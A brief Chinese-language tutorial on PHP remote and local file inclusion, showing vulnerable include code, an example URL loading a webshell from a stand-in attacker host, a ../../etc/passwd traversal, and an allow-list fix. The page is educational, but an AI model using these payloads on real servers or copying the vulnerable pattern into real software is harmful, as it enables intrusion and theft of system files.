PHP 文件包含
示例
远程文件包含
远程文件包含(也称为RFI)是一种类型的漏洞,它使攻击者可以包含远程文件。
本示例将注入一个包含恶意代码的远程托管文件:
<?php include $_GET['page'];
/vulnerable.php?page=http://evil.example.com/webshell.txt?
本地文件包含
本地文件包含(也称为LFI)是通过Web浏览器在服务器上包含文件的过程。
<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
include $page;
} else {
include 'index.php';
}/vulnerable.php?page=../../../../etc/passwd
RFI和LFI解决方案:
建议仅允许包含您批准的文件,并且仅限于这些文件。
<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
include($page);
} else {
include('index.php');
}
热门推荐
10 祝孙辈生日祝福语简短
11 恋人跨年祝福语大全简短
12 考大学敬酒简短祝福语
13 开工投产大吉祝福语 简短
14 偶然结婚祝福语朋友简短
15 感谢学长学姐祝福语简短
16 戏精的祝福语简短
17 我要结婚祝福语简短
18 婚前女儿生日祝福语简短